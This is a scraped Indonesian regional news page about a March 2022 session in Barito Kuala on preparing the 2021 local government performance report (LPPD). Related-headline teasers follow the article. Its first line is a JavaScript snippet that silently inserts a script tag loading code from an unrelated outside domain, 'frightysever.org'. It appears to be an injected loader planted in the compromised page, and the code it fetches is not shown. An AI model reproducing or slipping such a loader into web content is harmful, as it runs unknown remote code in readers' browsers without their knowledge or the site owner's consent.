(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Dalam rangka peningkatan kualitas LPPD Kabupaten Barito Kuala, Tim Penyusunan Laporan Penyelenggaraan Pemerintah Daerah (LPPD) melakukan kegiatan asistensi penyusunan LPPD Tahun 2021, Kamis (10/03/2022).
Acara yang bertempat di Kantor Perwakilan Provinsi Kalimantan Selatan di kota Jakarta ini diikuti oleh Bupati Barito Kuala Hj Noormiliyani, Sekretaris Daerah H Zulkipli Yadi Noor, Asisten Bidang Pemerintahan dan Kesra Suyud Sugiono, Staf Ahli Tim Evaluator LKPD Kemendagri, serta penyusun LPPD baik yang hadir secara langsung maupun secara daring.
Kegiatan ini juga diikuti secara daring oleh petugas penyedia data LPPD dari Diskominfo Batola di ruang Media Center Diskominfo Batola.
Bupati Barito Kuala dalam kegiatan itu sangat mengapresiasi dan berharap pelaksaan memberi manfaat serta menjadi langkah bersama semua pihak untuk memantapkan penyelenggaraan pemerintahan dan pembangunan.
Bupati perempuan pertama di Batola ini juga mengutarakan penyusunan menjadi salah satu fase sangat penting dan siklus mekanisme serta menjadi dasar evaluasi dalam menilai kinerja penyelenggaraan pemerintahan daerah, dalam upaya meningkatkan kinerja guna mendukung pencapaian tujuan penyelenggaraan otonomi daerah. berdasarkan prinsip tata pemerintahan yang baik.
“Pada prinsipnya kegiatan ini untuk meningkatkan pemahaman penyusunan LPPD, sehingga menghasilkan bentuk laporan lebih sempurna dengan menyamakan persepsi pembuatannya pada setiap unit kerja perangkat daerah,” ucap Bupati.
Disisi lain Ditjen EKPKD Kemendagri Deddy Winarman mengatakan, LPPD berfungsi sebagai laporan kepada pemerintah pusat mengenai capaian kinerja dan pelaksanaan tugas pembantuan selama satu tahun. Sehingga ringkasan dari LPPD tersebut sangat penting dan wajib untuk disampaikan ke masyarakat. Dalam kegiatan ini, Sekretaris Daerah Kab. Batola Zulkipli Yadi Noor turut memaparkan terkait materi LPPD yang mengacu pada Indikator Kinerja Kunci. (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
This website uses cookies.